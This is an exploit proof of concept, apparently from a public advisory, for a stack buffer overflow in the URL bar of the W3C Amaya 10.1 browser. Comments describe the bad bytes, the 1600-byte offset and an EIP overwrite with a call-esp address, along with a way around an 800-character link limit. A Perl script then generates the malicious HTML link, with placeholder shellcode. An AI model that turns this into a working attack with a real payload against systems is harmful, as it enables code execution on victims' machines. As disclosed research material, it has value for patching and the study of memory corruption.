#            W3C Amaya 10.1 Web Browser
#
# Amaya (URL Bar) Remote Stack Overflow Vulnerability
#
# Written and discovered by:
# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
#
# Advisory: http://www.bmgsec.com.au/advisory/40/
# ------------------------------------------------------
#
# Shellcode notes:
# The application fails to correctly process certain bytes:
# 0x9c becomes 0x9cc2
# Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb).
#
# After reviewing the source code, the below function modifies the
# shellcode: 
# Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
#
# The max value which can be used is 0x1fffff <-- Thanks Luigi!
# ------------------------------------------------------
#
# The URL bar contains a buffer overflow vulnerability:
# buffer length: 1600 bytes
#
# [junk] + [eip] +     [shellcode]
#  1600  +   4   +  sizeof(shellcode)
#
# ESP points to data after EIP.
#
# I found it difficult to access the URL bar via HTML code. For example, compile the above code,
# write it to a HTML file, then load it into the browser. Attempt to click the link and
# you will notice there is a 800 character limit on the link.
#
# To bypass this problem click the link then select "Links" >> "Create or change link...".
# Now click "Confirm". Alternatively just copy the payload into the URL bar.
#
# URL Bar Proof of concept:
# ----------------------------------------------------
#!/usr/bin/perl

use warnings;
use strict;

my $shellcode = 'C' x 80;

# 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)
my $data   =       '<a href="' .
                        'A' x 1600 .
                        "\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)
                        $shellcode .
                        '">r0ut3r</a>';
print $data;